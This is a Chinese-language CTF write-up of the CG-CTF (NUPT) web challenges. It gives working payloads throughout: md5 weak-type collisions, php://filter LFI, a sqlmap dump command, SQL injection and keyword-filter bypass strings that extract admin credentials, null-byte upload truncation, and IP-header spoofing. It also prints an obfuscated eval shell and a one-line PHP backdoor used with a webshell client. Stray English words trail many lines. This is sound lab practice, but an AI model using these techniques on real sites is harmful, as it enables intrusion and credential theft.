By:Mirror王宇陽php
我的QQ歡迎交流:2821319009html
技術水平有限~大佬勿噴 ^_^前端
直接一梭哈……python
題目源碼提示:mysql
$md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";}
呃……腦中閃過「PHP弱類型」因而乎……固然是Google找一下嘍!linux
QNKCDZO的md5(32)加密後:0e830400451993494058024219903391git
結合 $md51 == $md52
就要0e開頭的md5碰撞!感謝Google!web
構造:http://chinalover.sinaapp.com/web19/?a=s878926199a
sql
本能的直接源碼搜哈……shell
發現了字符輸入限制10位字符,而給出的指令是11位!得嘞……前端能看見的都能改 maxlength="11"
只要限制字符數超過11或等於11位就行!
題目都說了!這題不是web!然而面對這頁面……除了圖片還有啥?
既然只有圖片那麼我就要再拿出寶貝了!WinHex (十六進制查看器)
**多顯然的flag呀^_^……**
說來慚愧……看了源碼一臉懵逼……因而我分析題目發現硬核推薦的微博也沒得線索
在仔細一想!算了仍是扣源碼吧因而一個手滑……
沒錯!隨便點了一下,進一個有一個!因而按照 SO.html
一路點下去
覺得有驚喜!結果……
這是什麼鬼呀……
不過!哪位高手給那摩多註釋,難不成睡覺的時候按到了 Ctrl+C
嗎 ???
然而其中暗藏玄機……
這個題目就得Google瞭解(這個東西叫作顏編碼)
首先,看看這頁面……不太像顏編碼呀?
更像是亂碼……因而!換一個編碼唄!
這樣纔對嘛……
下一步就是要藉助 Chrom 瀏覽器了(固然了在線的AAencode工具也能夠)
唉……這題目說的就是我呀!踩過前面題目的坑了!俺得好好的留意題目的提示:「手速」,也就是速度快唄……
不在?可是首頁告訴我能夠找到呀!爲何呢?
手速……手速……手速……
後來留意了一下!
原來索引的位置不對呀!
看了一下跳轉!原來這個沒有flag頁面是從 http://chinalover.sinaapp.com/web8/search_key.php
頁面跳轉的
Burp抓包看一眼
在上一個頁面有一個自動跳轉……難怪要求手速快呢!難道不是要求「眼速快」嗎?
題目源碼:「 見到的一個相似編碼的shell,請解碼 」
<?php function CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE; } eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==")); ?>
傻傻的看了源碼兩三分鐘!而後發現……一執行就有結果了!
題目直接提示了:LFI
點擊,但又說不???
從源碼中發現:file包含了show.php
文件,也就表示,file就是文件包含屬性,
既然提示咱們能夠利用LFI,那麼就……讀一下源碼php吧!
http://4.chinalover.sinaapp.com/web7/index.php? file=php://filter/read=convert.base64-encode/resource=index.php
利用php協議php:filter
讀取本地任意文件(file:// 須要詳細的URL路徑才能夠哦)
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html> <title>asdf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:nctf{edulcni_elif_lacol_si_siht} ?> </html>
哎呀!一不當心~flag出來了^_^
啥意思?又來套路……Burp啓動
竟然沒一點坑……呵呵
看到題目提示:
0就是不的意思!那麼1就是是的意思嘍
簡單經過……
按照提示:「Do you know robots.txt」 咱們看一下robots
文件
經過對源碼的分析sql.php
頁面要求咱們提交一個$id
參數,使intval($_GET[id])
==1024,可是$_GET[$id]
== 1024 爲假!也就是說咱們須要同時保證兩個條件同時成立且爲真。
int intval ( mixed $var [, int $base = 10 ] )
構造:函數轉爲int整型
http://chinalover.sinaapp.com/web11/sql.php?id=1024e1
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
………………
哈哈!粗暴的題目!告訴咱們GBK注入(寬字節注入)
直接丟進SQLmap跑一遍
python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump
嗯!確實全程sqlmap自動化,有點臉皮厚了……
題目直接給出源碼:
if (isset ($_GET['nctf'])) { if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) echo '必須輸入數字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '騷年,繼續努力吧啊~'; }
從源碼分析來看:輸入的$nctf
值必須符合「^[1-9]+$」正則;且能夠在strpos()
函數中找到「#biubiubiu」字符!
頭疼……不能輸入字符?Google一下了解函數的缺陷吧!
按照題目給的提示:「/x00」 發現ereg函數存在截斷漏洞:%xx截斷遇到%00則默認字符串結束;而strpos函數則越過或是說識別%00截斷後面的字符內容。
構造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu
提示是「弱類型(參考文章)」;源碼梭哈一波:
if (isset($_GET['a']) and isset($_GET['b'])) { if ($_GET['a'] != $_GET['b']) if (md5($_GET['a']) == md5($_GET['b'])) die('Flag: '.$flag); else print 'Wrong.'; }
啥玩意?在找一找「0exxx」開頭的hash值;遇到了兩題這樣的!就順便解釋一下爲何0e開頭的會相等於呢??由於「0e」開頭的都會按照科學計數法轉爲最後的整型數「0」。
構造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
題目就是指引!Google瞭解一下……
首先分析php源碼核心部分……
<?php if($_SERVER["REQUEST_METHOD"] == "POST"){ extract($_POST); if ($pass == $thepassword_123){ echo $theflag; } } ?>
簡單的解析一下源碼函數:
extract():從數組中將變量導入當前符號表;key>變量名 ; value>變量值。
咱們只須要覆蓋變量並實現$pass == $thepassword_123
就能夠獲得flag了!
post提交pass=123&thepassword_123=123
就會被後臺認爲$pass=12三、$thepassword_123=123
實現變量覆蓋……
神祕叨叨的……
burp打開!xff頭改爲127.0.0.1
竟然不對……按理來講改下X-Forwarded-For
就能夠了呀!!!
因而我Google了一下僞造客戶端IP的方法,發現除了X-F-F方法之外,還有一種Client-IP
題目提示咱們猜猜源碼是如何寫的!
<form action="upload.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="hidden" name="dir" value="/uploads/" /> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
這HTML頁面時很是簡單的文件上傳的功能,題目是要求繞過!
按照返回結果,能夠肯定,咱們只有上傳的是能夠解析的PHP文件才能夠返回flag!
並且只容許jpg、gif、png等格式文件……
觀察一下返回數據包是如何後端校驗文件格式的!初步推定:後臺校驗文件是否爲圖片格式之後再判斷是否爲php格式文件!
在後臺會把file上傳的文件名和源碼中的dir元素Value進行拼接;轉向dir元素,由於它藏在源碼裏!必然有用!再仔細的觀察了第二個檢驗php文件報錯回顯:
經過「/uploads」目錄下的文件進行校驗;回想兩次校驗的不一樣,第一次校驗圖片格式的時候是讀取上傳文件的後綴名,第二次校驗是根據目錄來找到文件進行校驗!
咱們首先是繞過第一道圖片格式校驗的檢查,那麼就要求咱們的文件必須再上傳的時候是圖片格式。而保存的時候是dir元素的value和filename進行拼接的;若是咱們修改了dir元素的value=「/uploads/1.php0x00」 也就是說在file通過第一道校驗後與dir元素value拼接:「/uploads/1.php0x00test.jpg」 而這段在後臺被執行的時候被00截斷,保存爲:「/uploads/1.php」
題目給了源碼分析一波:
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); //trim():去除字符串兩側的空白字符 $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo '</br>'.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); } } echo $query[user]; ?>
源碼告訴咱們輸入的字符串兩側的空白字符會被刪掉;而後如何拼接字符;在者就是告訴咱們admin用戶能夠得到flag,意味着咱們要利用admin的身份注入!(手工注入)
通過觀察構造sql:
select user from ctf where (user='admin')#') and (pw='".$pass."')
咱們須要的是構造user數據提交給後臺:user=admin')#&pass=12345
$pass=@$_POST['pass']; $pass1=***********;//被隱藏起來的密碼 if(isset($pass)){ if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; }
題目給出了源碼;分析一波……
strcmp()
:比較兩個字符串,且大小寫敏感; str1第一個字符串。str2第二個字符串。若是 str1 小於 str2 返回 < 0; 若是 str1 大於 str2 返回 > 0;若是二者相等,返回 0;結合函數和源碼:pass==pass1 時返回flag
Google一下函數缺陷:期待的是傳入「合法字符串」,若是傳入的是非法的字符串則返回 return 0
既然指導了函數比較的缺陷,那麼咱們就傳入一個不合法的字符串,好比數組……
php爲了能夠上傳一個數組,會把上傳的變量結尾帶一對中括號看成數組上傳:key[]=xx
<?php function noother_says_correct($number) { $one = ord('1');//ord():返回ascii值 $nine = ord('9'); // one=49 ; nine=57 ; for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); //逐個返回number各個字符的ascii值 if ( ($digit >= $one) && ($digit <= $nine) ) { // 判斷number內有沒有1~9的數字字符:有則返回false return false; } } return $number == '54975581388'; } $flag='*******'; if(noother_says_correct($_GET['key'])) echo $flag; else echo 'access denied'; ?>
綜合分析源碼:要求輸入的key不能夠在1~9之間,可是要求等於54975581388
一開始也是比較煩的可是發現它的數字限制不包括「0」;因而想到了「十六進制」
key傳入十六進制數,在數字檢查中能夠避開的,由於54975581388
=0xccccccccc
題目要求對admin管理帳戶進行密碼重置,而郵箱收到了重置密碼的郵件html
抓包結果來看,咱們須要以admin的身份重置密碼!同時也留意到url中的user1=Y3RmdXNlcg==
base解密結果爲url1=ctfuser
打開F12發現,源碼被註釋了!
#GOAL: login as admin,then get the flag; 以管理員身份登陸,而後獲取flag error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ //獲取當前 magic_quotes_gpc 的配置選項設置 $str=stripslashes($str); // stripslashes():刪除反斜槓 } return htmlentities($str, ENT_QUOTES); //把$str字符轉換爲 HTML 實體 ENT_QUOTES:編碼可用雙引號和單引號 } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } echo $flag;
從源碼分析來開,重要的就是單引號也會被編碼!意味着咱們輸入的單引號也會被編碼
構造:http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23
`
SELECT * FROM users WHERE name='\' AND pass='%20or%201%23' 即 SELECT * FROM users WHERE name='\' AND pass=' 『 [name]的值爲 [' AND pass=] ,顯然邏輯值爲false 』 or 1 『 但不要緊,[false or 1] 的邏輯值爲真』 #' 『 註釋掉多餘的單引號 』 即 select * from users where false or 1
源碼:
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); //mysql_fetch_array():結果集中取得一行做爲關聯數組,或數字數組 //mysql_query():執行Mysql查詢 if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { // strcasecmp():比較str1和str2,且不區分大小寫; // 函數比較有一個缺陷就是:不論是str1>str2或str1==str2都返回「0」 // 也就是當passmd5處理後的值小於query[pw]就能夠繞過 echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
題目提示咱們使用」union「方法……
咱們輸入的user 經過post提交給$user,後臺經過$user返回pw字段,在strcasecmp()函數中比較pw和$pass。這是 正常的功能流程。
咱們利用的點就是
strcasecmp()
函數的比較缺陷,這是我一開始的想法,可是想到題目的提示:「union」因而我想到了利用閉合union的方法;
構造
user='union select md5(a)# &pass=a
user的value爲空,不存在該查詢則執行不成功;就會把union後一個查詢顯示在pw字段裏,即咱們查詢的是md5(a),結合sql語句的拼接,pw字段==md5(a)。
是否是看不懂?沒啥看不懂得!這就是JsFuck
解碼後獲得:1bc29b36f623ba82aaf6724fd3b16718.php
構造訪問後:
Response告訴咱們tip字段提示:history of bash (bash的歷史)
發現了 flagbak.zip
,構造URL下載該文件並打開
查看到最後一個sm.txt(本CMS說明)頁面的時候發現了新大陸!
在這裏它列出了:config.php
index.php
passencode.php
say.php
sm.txt
和admin表結構
同時咱們分析URL時候,發現這個頁面存在文件包含哦~~~
知道了那麼多源碼的文件名,咱們試一試~~~
index.php源碼文件:
沒有利用之處,不佔篇幅了……
passencode.php
<?php function passencode($content){ //$pass=urlencode($content); $array=str_split($content); $pass=""; for($i=0;$i<count($array);$i++){ if($pass!=""){ $pass=$pass." ".(string)ord($array[$i]); }else{ $pass=(string)ord($array[$i]); } } return $pass; } ?>
處理用戶輸入的密碼並進行ASCII加密處理
say.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php include 'config.php'; $nice=$_POST['nice']; $say=$_POST['usersay']; if(!isset($_COOKIE['username'])){ setcookie('username',$nice); setcookie('userpass',''); } $username=$_COOKIE['username']; $userpass=$_COOKIE['userpass']; if($nice=="" || $say==""){ echo "<script>alert('暱稱或留言內容不能爲空!(若是有內容也彈出此框,不是網站問題喔~ 好吧,給個提示:查看頁面源碼有驚喜!)');</script>"; exit(); } $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能鏈接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $nice=mysql_real_escape_string($nice); $username=mysql_real_escape_string($username); $userpass=mysql_real_escape_string($userpass); $result=mysql_query("SELECT username FROM admin where username='$nice'",$con); $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con); if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){ echo "<script>alert('暱稱已被使用,請更換!');</script>"; mysql_free_result($login); mysql_free_result($result); mysql_close($con); exit(); } mysql_free_result($login); mysql_free_result($result); $say=mysql_real_escape_string($say); mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con); mysql_close($con); echo '<script>alert("構建和諧社會,留言須要通過管理員審覈才能夠顯示!");window.location = "./index.php"</script>'; ?>
處理用戶留言板的留言系統
config.php 不給讀 ……
so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才能夠用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能鏈接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> </div> </center> </body> </html>
哦對了!這個頁面在以前就有問題,就是限制了瀏覽器訪問!
「if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")
」喏~
查完了sm.txt給的php文件,卻忘記了about.php這個頁面;點擊sm.txt的那個連接後來到了/about.php?file=sm.txt
一直在包含其它文件,卻忘了about.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php $file=$_GET['file']; if($file=="" || strstr($file,'config.php')){ echo "file參數不能爲空!"; exit(); }else{ $cut=strchr($file,"loginxlcteam"); if($cut==false){ $data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else{ echo "<script>alert('敏感目錄,禁止查看!可是。。。')</script>"; } }
看到了一絲曙光:有一個敏感目錄loginxlcteam
打開一看,是個後臺登陸頁面!是否是都瞬間有一種sql注入的衝動!可是個人直覺告訴我~~不可信
果真,看了一下前輩的思路,他們在so.php中發現了「include 'config.php'; include 'antiinject.php'; include 'antixss.php'」等文件被包含,其中antiinject.php
文件就是防止sql注入的
知道了有防注入的文件,就回到一開始發現的文件包含的位置查看該源碼:
<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower($content); for($i=0;$i<=count($keyword);$i++){ $info=str_replace($keyword[$i], '',$info); } return $info; } ?>
從源碼中發現:過濾了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="
等關鍵字
應對的繞過方法:
應對關鍵字過濾,防護方式是把關鍵敏感單詞變爲空;能夠採用複寫的方式,即「ununionion」當過濾的時候,就會把中間的關鍵單詞變爲空;
應對過濾空格;採用/**/
方式繞過;(固然了,也能夠採用圓括號的方式)
明白了繞過的方法,就須要來sql注入了!注入點在哪?前輩給的方向是so.php
<?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才能夠用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); // 過濾關鍵字和空格 $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能鏈接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); //轉義 SQL 語句中使用的字符串中的特殊字符 $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>
哦!對了,有一點要說一下哈~~~這個頁面處理的是用戶的留言數據,id內容其實是留言板的ID,利用union select *,…
肯定字段:
2 union select 1,2,3,4
注入構造:
表結構:
create table admin ( id integer, username text, userpass text, )
知道了表結構,就不用猜庫、猜表了
直接查數據……
soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4
pass(ascii加密): 102 117 99 107 114 117 110 116 117 => fuckruntu
soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(usernnameame)/**/ffromrom/**/aadmindmin),3,4
name:admin
在http://cms.nuptzj.cn/loginxlcteam/index.php
後臺中登陸
打開xlcteam.php
文件(利用以前發現的文件包含)
<?php $e = $_REQUEST['www']; // preg_replace $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>
一開始看不懂這個馬!後來查了一下代碼得知:三參數回調函數
array_walk(array,function,parameter):
array:數組
function:用戶自定義的函數名稱(preg_replace:正則函數)
parameter:可選
菜刀一連!找到flag文件就能夠了……
這是CG-CTF作的最充裕、收穫最大的一題
TIPS: 1.管理員郵箱觀察一下就能夠找到 2.linux下通常使用vi編輯器,而且異常退出會留下備份文件 3.弱類型bypass
咱們從源碼中觀察到了管理員郵箱:admin@nuptzj.cn
Vi編輯器 + 留下備份文件:vi的備份文件格式是:.[filename].swp
構造訪問:http://nctf.nuptzj.cn/web14/.submit.php.swp
下載文件:wget http://nctf.nuptzj.cn/web14/.submit.php.swp
........這一行是省略的代碼........ /* 若是登陸郵箱地址不是管理員則 die() 數據庫結構 -- -- 表的結構 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- 轉存表中的數據 `user` -- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可見***', '***不可見***', 0); */ ........這一行是省略的代碼........ if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); // 要求token爲十位且爲零 不然退出腳本並輸出fail $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){ //只有當sql查詢的count(*)也就是num大於或等於零的時候纔會輸出flag echo $flag; }else{ echo "失敗了呀"; } }
綜上!咱們知道了得到flag的方法:
輸入的用戶名爲:admin@nuptzj.cn
輸入的token:十位數且爲「0」(符合提示的第三條)
要求十位數且結果爲零的花,又想到了科學技術法 token=0e12345678
頁面源碼:
<!--$file = $_GET['file']; if(@file_get_contents($file) == "meizijiu"){ //file_get_contents():將整個文件讀入一個字符串中 echo $nctf; }-->
從源碼提示來看:要求咱們包含的文件中的內容是「meizijiu」,並用file_get_contents()函數讀取
這裏須要引用的技術就是php協議:php://input
:功能就是將data數據寫入並可執行; 訪問請求的原始數據的只讀流。
源碼:
foreach($_GET as $key => $value){ // foreach():循環語句 經常使用於遍歷數組 // GET方式傳入數組 $$key = $value; //可變變量,一個可變變量獲取了普通變量的值,做爲這個可變變量的值 /* $$x:解釋 ~ ~ ~ $x = "abc"; $$x = 200; echo $x."<br/>"; // abc echo $$x."<br/>"; // 200 echo $abc; // 200 》 $abc <= $$x <= $x == abc //也就是$$x 把 $x 的值變成了一個變量 */ } if($name == "meizijiu233"){ echo $flag; }
GET傳入數組['name'=>'meizijiu233']
構造:http://chinalover.sinaapp.com/web24/?name=meizijiu233
By:Mirror王宇陽 2019年12月6日
留:週末刷了南京郵電大學CTF平臺的Web題,以上是我的總結的思路Writeup
注:平臺又小部分題目,筆者這裏沒法打開,因此就沒有作……
最後附上平臺網址:https://cgctf.nuptsast.com/challenges#Web
**感謝CG-CTF平臺給的環境哦&_&**